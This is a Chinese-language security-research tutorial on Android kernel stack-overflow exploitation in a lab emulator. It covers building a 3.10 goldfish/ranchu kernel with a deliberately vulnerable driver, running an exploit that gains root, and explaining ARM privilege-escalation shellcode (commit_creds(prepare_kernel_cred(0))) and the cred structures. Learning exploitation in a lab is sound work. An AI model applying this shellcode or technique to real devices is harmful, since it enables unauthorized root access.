作者：Hcamael@知道創宇404實驗室
英文版本：https://paper.seebug.org/947/
最近在研究一個最簡單的android內核的棧溢出利用方法，網上的資料很少，就算有也是舊版內核的，新版的內核有了很大的不同，如果放在x86上本應該是很簡單的東西，但是arm指令集有很大的不同，所以踩了很多坑
把上一篇改了一下名字，換成了從0開始學Linux內核，畢竟不是專業搞開發的，所以驅動開發沒必要學那麼深，只要會用，能看懂代碼基本就夠用了。本篇開始學Linux kernel pwn了，而內核能搞的也就是提權，而提權比較多人搞的就是x86和arm指令集的Linux系統提權了，arm指令集的基本都是安卓root和iOS越獄，而mips指令集的幾乎沒啥人在搞，感覺是應用場景少。
環境準備
android內核編譯
下載相關源碼依賴
android內核源碼使用的是goldfish[1]，直接clone下來，又大又慢又久，在git目錄下編譯也麻煩，所以想搞那個版本的直接下那個分支的壓縮包就好了
本文使用的工具的下載地址：
- 源碼：https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
- 交叉編譯工具：https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
- 一鍵編譯腳本：https://android.googlesource.com/platform/prebuilts/qemu-kernel/+/master
PS：git clone速度慢的話可以使用國內鏡像加速：s/android.googlesource.com/aosp.tuna.tsinghua.edu.cn/
# 下載源碼
$ wget https://android.googlesource.com/kernel/goldfish/+archive/android-goldfish-3.10.tar.gz
$ tar zxf goldfish-android-goldfish-3.10.tar.gz
# 下載編譯工具
$ git clone https://android.googlesource.com/platform/prebuilts/gcc/linux-x86/arm/arm-linux-androideabi-4.6
# 下載一鍵編譯腳本
$ git clone https://android.googlesource.com/platform/prebuilts/qemu-kernel/
# 只需要kernel-toolchain和build-kernel.sh
$ cp qemu-kernel/build-kernel.sh goldfish/
$ cp -r qemu-kernel/kernel-toolchain/ goldfish/修改內核
學android kernel pwn最初看的是Github上的一個項目[3]，不過依賴的是舊內核，估計是android 3.4以下的內核，在3.10以上的有各種問題，所以我自己做了些修改，也開了一個Github源：https://github.com/Hcamael/android_kernel_pwn
對kernel源碼有兩點需要修改：
1.添加調試符號
首先需要知道自己要編譯那個版本的，我編譯的是32位Android內核，使用的是goldfish_armv7，配置文件在: arch/arm/configs/goldfish_armv7_defconfig
但是不知道為啥3.10里沒有該配置文件，不過用ranchu也一樣：
給內核添加調試符號，只需要在上面的這個配置文件中添加：CONFIG_DEBUG_INFO=y，如果是goldfish就需要自己添加，ranchu默認配置已經有了，所以不需要更改。
2.添加包含漏洞的驅動
目的是研究Android提權利用方法，所以是自己添加一個包含棧溢出的驅動，該步驟就是學習如何添加自己寫的驅動
上面給了一個我的Github項目，把該項目中的vulnerabilities/目錄複製到內核源碼的驅動目錄中：
$ cp vulnerabilities/ goldfish/drivers/修改Makefile：
$ echo "obj-y += vulnerabilities/" >> drivers/Makefile導入環境變量后，使用一鍵編譯腳本進行編譯：
$ export PATH=/root/arm-linux-androideabi-4.6/bin/:$PATH
$ ./build-kernel.sh --config="ranchu"PS: 在docker中復現環境的時候遇到一個問題，可以參考：https://stackoverflow.com/questions/42895145/cross-compile-the-kernel
編譯好后的內核在/tmp/qemu-kernel目錄下，有兩個文件，一個zImage，內核啟動鏡像，一個vmlinux是kernel的binary文件，丟ida裡面分析內核，或者給gdb提供符號信息
Android模擬環境準備
內核編譯好后，就是搞Android環境了，可以直接使用Android Studio[2]一把梭，但是如果不搞開發的話，感覺Studio太臃腫了，下載也要下半天，不過還好，官方提供了命令行工具，覺得Studio太大的可以只下這個
PS: 記得裝java，最新版的java 11不能用，我用的是java 8
建一個目錄，然後把下載的tools放到這個目錄中
$ mkdir android_sdk
$ mv tools android_sdk/首先需要使用tools/bin/sdkmanager裝一些工具
# 用來編譯android binary(exp)的，如果直接用arm-liunx-gcc交叉編譯工具會缺一些依賴，解決依賴太麻煩了，還是用ndk一把梭方便
$ ./bin/sdkmanager --install "ndk-bundle"
# android模擬器
$ ./bin/sdkmanager --install "emulator"
# avd
$ ./bin/sdkmanager --install "platforms;android-19"
$ ./bin/sdkmanager --install "system-images;android-19;google_apis;armeabi-v7a"
# 其他
$ ./bin/sdkmanager --install "platform-tools"PS：因為是32位的，所以選擇的是armeabi-v7a
PSS: 我一共測試過19, 24, 25，發現在24,25中，自己寫的包含漏洞的驅動只有特權用戶能訪問，沒去仔細研究為啥，就先使用低版本的android-19了
創建安卓虛擬設備：
./bin/avdmanager create avd -k "system-images;android-19;google_apis;armeabi-v7a" -d 5 -n "kernel_test"啟動：
$ export kernel_path=ranchu_3.10_zImage
或者
$ export kernel_path=goldfish_3.10_zImage
$ ./emulator -show-kernel -kernel $kernel_path -avd kernel_test -no-audio -no-boot-anim -no-window -no-snapshot -qemu -s去測試下我寫的exp：
$ cd ~/goldfish/drivers/vulnerabilities/stack_buffer_overflow/solution
$ ./build_and_run.sh編譯好了之後運行，記得要用普通用戶運行：
shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
shell@generic:/ $ /data/local/tmp/stack_buffer_overflow_exploit
/data/local/tmp/stack_buffer_overflow_exploit
start
shell@generic:/ # id
id
uid=0(root) gid=0(root) context=u:r:kernel:s0Android 內核提權研究
環境能跑通以後，就來說說我的exp是怎麼寫出來的。
首先說一下，我的環境都是來源於AndroidKernelExploitationPlayground項目[3]，但是實際測試的發現，該項目中依賴的估計是3.4的內核，但是現在的emulator要求內核版本大於等於3.10
從內核3.4到3.10有許多變化，首先，對內核的一些函數做了刪減修改，所以需要改改驅動的代碼，其次就是3.4的內核沒有開PXN保護，在內核態可以跳轉到用戶態的內存空間去執行代碼，所以該項目中給的exp是使用shellcode，但是在3.10內核中卻開啟了PXN保護，無法執行用戶態內存中的shellcode
提權思路
搞內核Pwn基本都是一個目的——提權。那麼在Linux在怎麼把權限從普通用戶變成特權用戶呢？
一般提權的shellcode長這樣：
asm
(
" .text/n"
" .align 2/n"
" .code 32/n"
" .globl shellCode/n/t"
"shellCode:/n/t"
// commit_creds(prepare_kernel_cred(0));
// -> get root
"LDR R3, =0xc0039d34/n/t" //prepare_kernel_cred addr
"MOV R0, #0/n/t"
"BLX R3/n/t"
"LDR R3, =0xc0039834/n/t" //commit_creds addr
"BLX R3/n/t"
"mov r3, #0x40000010/n/t"
"MSR CPSR_c,R3/n/t"
"LDR R3, =0x879c/n/t" // payload function addr
"BLX R3/n/t"
);這個shellcode提權的思路有三步：
- prepare_kernel_cred(0) 創建一個特權用戶cred
- commit_creds(prepare_kernel_cred(0)); 把當前用戶cred設置為該特權cred
- MSR CPSR_c,R3 從內核態切換回用戶態(詳情自己百度這句指令和CPSR寄存器)
切換回用戶態后，當前程序的權限已經變為root，這時候就可以執行/bin/sh
再繼續深入研究，就涉及到內核的三個結構體：
$ cat ./arch/arm/include/asm/thread_info.h
......
struct thread_info {
......
struct task_struct *task; /* main task structure */
......
};
......
$ cat ./include/linux/sched.h
......
struct task_struct {
......
const struct cred __rcu *real_cred;
......
};
......
$ cat ./include/linux/cred.h
......
struct cred {
atomic_t usage;
#ifdef CONFIG_DEBUG_CREDENTIALS
atomic_t subscribers; /* number of processes subscribed */
void *put_addr;
unsigned magic;
#define CRED_MAGIC 0x43736564
#define CRED_MAGIC_DEAD 0x44656144
#endif
kuid_t uid; /* real UID of the task */
kgid_t gid; /* real GID of the task */
kuid_t suid; /* saved UID of the task */
kgid_t sgid; /* saved GID of the task */
kuid_t euid; /* effective UID of the task */
kgid_t egid; /* effective GID of the task */
kuid_t fsuid; /* UID for VFS ops */
kgid_t fsgid; /* GID for VFS ops */
unsigned securebits; /* SUID-less security management */
kernel_cap_t cap_inheritable; /* caps our children can inherit */
kernel_cap_t cap_permitted; /* caps we're permitted */
kernel_cap_t cap_effective; /* caps we can actually use */
kernel_cap_t cap_bset; /* capability bounding set */
kernel_cap_t cap_ambient; /* Ambient capability set */
#ifdef CONFIG_KEYS
unsigned char jit_keyring; /* default keyring to attach requested
* keys to */
struct key __rcu *session_keyring; /* keyring inherited over fork */
struct key *process_keyring; /* keyring private to this process */
struct key *thread_keyring; /* keyring private to this thread */
struct key *request_key_auth; /* assumed request_key authority */
#endif
#ifdef CONFIG_SECURITY
void *security; /* subjective LSM security */
#endif
struct user_struct *user; /* real user ID subscription */
struct user_namespace *user_ns; /* user_ns the caps and keyrings are relative to. */
struct group_info *group_info; /* supplementary groups for euid/fsgid */
struct rcu_head rcu; /* RCU deletion hook */
};
......每個進程都有一個單獨thread_info結構體，我們來看看內核是怎麼獲取到每個進程的thread_info結構體的信息的：
#define THREAD_SIZE 8192
......
static inline struct thread_info *current_thread_info(void)
{
register unsigned long sp asm ("sp");
return (struct thread_info *)(sp & ~(THREAD_SIZE - 1));
}有點內核基礎知識的應該知道，內核的棧是有大小限制的，在arm32中棧的大小是0x2000，而thread_info的信息儲存在棧的最底部
所以，如果我們能獲取到當前進程在內核中運行時的其中一個棧地址，我們就能找到thread_info，從而順藤摸瓜得到cred的地址，如果能任意寫內核，則可以修改cred的信息，從而提權
總得來說，內核提權其實只有一條路可走，就是修改cred信息，而commit_creds(prepare_kernel_cred(0));不過是內核提供的修改cred的函數罷了。
我們來通過gdb展示下cred數據：
$ shell@generic:/ $ id
id
uid=2000(shell) gid=1007(log) context=u:r:init_shell:s0
--------------------------------------通過gdb可以獲取到：$sp : 0xd415bf40
從而計算出棧底地址：0xd415a000
然後我們就能獲取到thread_info的信息，然後得到task_struct的地址：0xd4d16680